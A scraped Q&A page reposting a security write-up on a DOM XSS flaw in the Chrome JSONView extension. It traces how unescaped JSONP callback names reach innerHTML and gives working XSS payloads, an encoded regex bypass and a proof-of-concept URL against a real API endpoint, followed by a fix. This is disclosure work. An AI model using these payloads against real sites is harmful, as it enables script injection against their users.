问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

明枪易躲,暗箭难防 知无不言,言无不尽 sss金玉其外,败絮其中 饱食终日,无所用心 sss视而不见

发布网友 发布时间:2022-04-21 13:36

我来回答

2个回答

懂视网 时间:2022-04-21 17:58

0x01 JSONView 介绍

  • Github: https://github.com/gildas-lormeau/JSONView-for-Chrome

  • ChromeStore: https://chrome.google.com/w.....bnpoihckbnefhakgolnmc?hl=en-US

  • JSONView 插件是目前最热门的一款开发者工具插件,它是查看json数据的神器。通常来讲,json 数据一般没有经过格式化或经过了 unicode 编码,没有缩进,没有换行等,给开发者阅读造成了一定困难。而jsonview 插件可以自动对 json 数据转码,缩进,格式化,直接显示出格式化后的数据,使得开发人员可以更好的阅读信息,本文中出现问题的版本为 Chrome 浏览器下的 JSONView 插件,Firefox 下版本不受影响。

    0x02 正确的处理方式

    我们知道开发人员在使用 JSONP callback 的方式进行跨域请求时,通常会为了方便前端调用 callback 名是可自定义的,例如 function?callback=jQuery14114 ,这时页面将会输出 callback 的参数值到页面中,所以出现了很多 callback 导致的跨站漏洞,解决方案大多由过滤 URL 特殊字符、严格定义 Response 头的 Content-Type:application/json 。

    下面这个例子则为 Bilibili API :

    http : //api.bilibili.com/x/favourite/folder?callback=jQu%3Ch1%3E163&jsonp=jsonp&_=1461828995783

    c334041bjw1f3cq8flqacj20s70h9n1z.jpg

    我们可以看到由于 Reponse Headers 严格定义了 Content-Type 类型为 json 数据格式,所以尽管我成功注入了未转义标签代码,但仍然不会得到执行(ChromeView-source 模式下如果正常解析后是会有高亮标识的),JSONView 的故事也是从这个时候开始的。

    0x03 Dom XSS Vulnerability

    我们之前谈到过 JSONView 插件能够美化原本乱糟糟的 JSON 数据,就像这样:

    1.jpg

    在使用 JSONView 的过程中我发现它把数据提取进行了渲染,也就导致原本不存在的漏洞在这里得以重现!这里有一个前提,网站使用限制 Content-Type 类型对其的过滤而未过滤特殊字符。所以我们可以看到:

    2.jpg

    在之后的源码分析中得知是因为通过 DOM 插入数据,直接写入 script 是不加载资源的,所以我们可以使用很多方法来触发恶意代码:

    1. <img src=@ onerror=alert(1)>
    2. <body onload=alert(1)>
    3. ...

    通过测试后发现,只要参数中包含 空格、圆括号,插件即使是在开启的情况下,也不会再对 JSON 结果进行数据解析,虽然在黑盒测试过程中我通过斜线等技巧实现了加载恶意代码,但还是要来看看这个插件究竟做了哪些处理。

    3.jpg

    0x04 源码分析

    通过断点调试,寻找到 innerHTML 文件:/master/WebContent/content.js

    function displayUI(theme, html) {
     var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = "";
     content += '<link rel="stylesheet" type="text/css" href="' + chrome.runtime.getURL("jsonview-core.css") + '">';
     content += "<style>" + theme + "</style>";
     content += html;
     document.body.innerHTML = content;
     ....
    }
     
    function init(data) {
     port.onMessage.addListener(function(msg) {
     if (msg.oninit) {
      options = msg.options;
      processData(data);
     }
     if (msg.onjsonToHTML)
      if (msg.html) {
      displayUI(msg.theme, msg.html);
      } else if (msg.json)
      port.postMessage({
       getError : true,
       json : json,
       fnName : fnName
      });
     if (msg.ongetError) {
      displayError(msg.error, msg.loc, msg.offset);
     }
     });
     port.postMessage({
     init : true
     });
    }

    我们看到在 displayUI 函数中 innerHTML 的操作:document.body.innerHTML = content; ,下面来看一下 jsonToHTML 函数在入口文件 /JSONView-for-Chrome/blob/master/WebContent/background.js 中加载:

    4.jpg

    /master/WebContent/workerFormatter.js 提取核心部分代码:

    function htmlEncode(t) {
     return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">") : '';
    }
     
    function decorateWithSpan(value, className) {
     return '<span class="' + className + '">' + htmlEncode(value) + '</span>';
    }
     
    function jsonToHTML(json, fnName) {
     var output = '';
     if (fnName)
     output += '<div class="callback-function">' + fnName + '(</div>';
     output += '<div id="json">';
     output += valueToHTML(json);
     output += '</div>';
     if (fnName)
     output += '<div class="callback-function">)</div>';
     return output;
    }
     
    addEventListener("message", function(event) {
     var object;
     try {
     object = JSON.parse(event.data.json);
     } catch (e) {
     postMessage({
      error : true
     });
     return;
     }
     postMessage({
     onjsonToHTML : true,
     html : jsonToHTML(object, event.data.fnName)
     });
    }, false);

    之后对 html : jsonToHTML(object, event.data.fnName) 其中的 event 下断点进行追踪,找到 fnName 的赋值代码 /master/WebContent/content.js:

    function extractData(rawText) {
     var tokens, text = rawText.trim();
     
     function test(text) {
     return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}"));
     }
     
     if (test(text))
     return {
      text : rawText,
      offset : 0
     };
     tokens = text.match(/^([^s(]*)s*(([sS]*))s*;?$/);
     if (tokens && tokens[1] && tokens[2]) {
     if (test(tokens[2].trim()))
      return {
      fnName : tokens[1],
      text : tokens[2],
      offset : rawText.indexOf(tokens[2])
      };
     }
    }

    在 extractData 函数中,我们找到了 fnName 的赋值,tokens 会根据正则获取需要解析的 fnName, text 等值,也就是这个正则导致我们是无法注入圆括号的,因为他被匹配到了 text 中:

    4.jpg

    0x05 执行测试代码

    通过阅读正则,我们发现可以使用 URL编码(HTML 实体编码)+斜线等方式来注入代码并执行:

     1. <img/src='@'/onerror=alert(window.location)>
     2. <img/src='@'/onerror=alert(window.location)>
     3. <img/src='@'/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E>
     4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783

    通过几次变形,我们编写出最终的测试代码以弹出 window.location 地址,就这样原本过滤严谨的接口因为 JSONView 的问题而全面崩塌:

    5.jpg

    0x06 修复方案

    使用 /master/WebContent/workerFormatter.js 文件中的 htmlEncode 函数进行过滤:

     function jsonToHTML(json, fnName) {
     var output = '';
     if (fnName)
      output += '<div class="callback-function">' + htmlEncode(fnName) + '(</div>';
     output += '<div id="json">';
     output += valueToHTML(json);
     output += '</div>';
     if (fnName)
      output += '<div class="callback-function">)</div>';
     return output;
     }

    0x07 VulnTimeline

  • Find the vulnerability. - 2016/04/28 15:00

  • Because the JSONView plug-in (Chrome platform) has not been updated for a long time, Unable to contact the author to fix the vulnerability. - 2016/04/28 20:15

  • Write the Paper, via @evi1m0. - 2016/04/28 22:32

  • 热心网友 时间:2022-04-21 15:06

    城门失火,殃及池鱼 放下屠刀,立地成佛 sss树犹如此,人何以堪 树高千丈,叶落归根 sss星星之火,可以燎原 看菜吃饭,量体裁衣 sss
    声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
    泌尿系结核肾结核有哪些特点 肾结核治好影响寿命吗 邢台七路公交车2020年一月二十九号通车吗? 笔记本的USB有线网卡上不了网,试了公司的台式机(是路由器的),店家的... 喝多给特别喜欢的男生打电话骂他,他也不生气,是不在意吗 为什么我的QQ绑定不起手机为什么说我本次操作存在风? 内账应收应付怎么对账 应收应付应该如何对账 深圳弗林棕旅行社有限公司怎么样? 深圳市鹏运国际旅行社有限公司怎么样? 去日本买什么好? 去日本买什么比较好啊? 信用卡逾期了问银行还了还能用会不会被骗 石家庄职业技术学院大一新生的学生证什么时候发 石家庄职业技术学院宿舍怎么分配? 亲,石家庄职业技术学院毕业证国家承认吗? 石家庄职业技术学院新校区是建设银行投资的吗 格力电器历史最高市值 石家庄职业技术学院什么时候升本科 董明珠的身家有多少钱,她所在任职的格力好像不是她打拼来的,是后来她的工作需要才进入格力工作的,后来 世界上一共有哪5个迪士尼 奥凯航空现在怎么样 奥凯航空怎么样 2014年 全世界有哪几个迪斯尼乐园? 奥凯航空 机务怎么样 世界上著名的迪士尼乐园有哪些? 明枪易躲,暗箭难防 知无不言,言无不尽 金玉其外,败絮其中 饱食终日,无所用心 视而不见,听而不闻 偷渡去美国在古巴死掉要怎么办 NR-EC26WPA-W如何使用手机App控制? 全世界有几个迪斯尼 计算机端可以用Pc,移动端可以用什么英文字母表示 域名前面有个m是什么意思啊,求大神告诉我下 app是什么意思 zhidao.baidu.com 什么是APP表示什么意思| pc端社交和移动社交是一个意思吗 走路时鞋头会湿怎么办 下雨天如何让你的鞋不湿,简单又实用 怎样才能在下雨天走路不弄湿鞋子? 下雨天行路怎么防止脚尖打湿,(不穿雨鞋) 下雨天走路时,老是把水甩在鞋尖上,怎么办? 我在下雨天走路,为什么总是鞋脚尖会被水弄湿?? 我家里WiFi已连接上去就出现这个GPON上行天翼网关,请问需要这样解决呢?_百度问一问 GPON怎么解决每个猫上行光不同 长期食用豆芽菜回引发哪些疾病 gpon上行数据流采用什么技术 gpon上行e8-c家庭网关,这个光纤猫无线路由器,网关默认IP192.168.1.1可以更改吗? 豆芽菜身体产生的主要原因是因为饮食缺陷造成的什么? 路由器的WiFi连接要认证,然后就弹出来那个GPON上行终端。好像要填认证码,但是我不回弄啊? 手机淘宝酷猫优品可靠吗? 明枪易躲暗箭难防,在办公室要如何应对小人?